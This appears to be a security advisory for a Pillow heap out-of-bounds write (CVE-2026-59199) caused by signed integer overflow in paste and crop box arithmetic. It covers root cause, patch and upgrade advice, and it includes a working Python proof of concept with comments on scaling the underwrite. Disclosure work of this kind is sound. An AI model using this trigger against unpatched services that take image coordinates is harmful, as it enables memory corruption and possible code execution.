CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow
Pillow's image paste, crop, and alpha_composite operations allow an attacker to trigger a heap out-of-bounds write by passing coordinate values near the signed 32-bit integer boundary, corrupting…
The problem
In Pillow versions before 12.3.0, ImagingPaste() in src/libImaging/Paste.c computes region dimensions using signed 32-bit int arithmetic. With dx0 near INT_MAX and dx1 at INT_MIN, the subtraction dx1 - dx0 wraps around to a small positive value, passing the bounds check undetected.
The paste loop then multiplies the wrapped offset by pixelsize (4 for RGBA) and issues a memcpy that writes attacker-controlled pixel bytes before the destination row allocation. The same sink is reachable through Image.crop() and Image.alpha_composite() without any malformed file or private API.
Proof of concept
A working proof-of-concept for CVE-2026-59199 in Pillow, with the exact payload below.
from PIL import Image
INT_MIN = -(1 << 31)
# Minimal paste trigger: dx1 - dx0 wraps to 2, passes size check,
# then writes 8 bytes 8 bytes BEFORE the destination row allocation.
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
# Scale the underwrite: source width W -> writes 4*W bytes, 4*W bytes before row
# box = ((1 << 31) - W, 0, INT_MIN, 1)
# Same root cause via Image.crop()
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Same root cause via Image.alpha_composite()
base = Image.new("RGBA", (8, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(INT_MIN + 2, 0))The root cause is CWE-190 (Integer Overflow) feeding CWE-787 (Out-of-bounds Write). Signed 32-bit int subtraction in Paste.c (xsize = dx1 - dx0) wraps when coordinates straddle INT_MIN/INT_MAX, producing a small positive size that satisfies every clip check.
The downstream memcpy then uses the unclipped dx0 value (still near INT_MAX, which after *= pixelsize wraps negative) as the byte offset into the destination row, writing before the allocation.
The patch (commit ceefc348) widens the subtraction to int64_t before any comparison: int64_t xsize64 = (int64_t)dx1 - dx0. Values outside [0, INT_MAX] are rejected with a ValueError before any copy occurs. The same promotion was applied to ImagingCrop() in Crop.c.
The fix
Upgrade Pillow to 12.3.0 or later (pip install 'Pillow>=12.3.0'). The fix in PR #9703 (commit ceefc348) changes coordinate-width arithmetic from signed int to int64_t in both Paste.c and Crop.c, rejecting any box whose computed size overflows or is negative before any memory operation is attempted.
Related research
- high · 8.2CVE-2026-59197CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- high · 7.5CVE-2026-59205CVE-2026-59205: Pillow Controlled Heap Out-of-Bounds Write in ImageCmsTransform.apply()
- high · 7.8CVE-2022-46292CVE-2022-46292: Open Babel MOPAC Output Parser Out-of-Bounds Write (UNIT CELL TRANSLATION)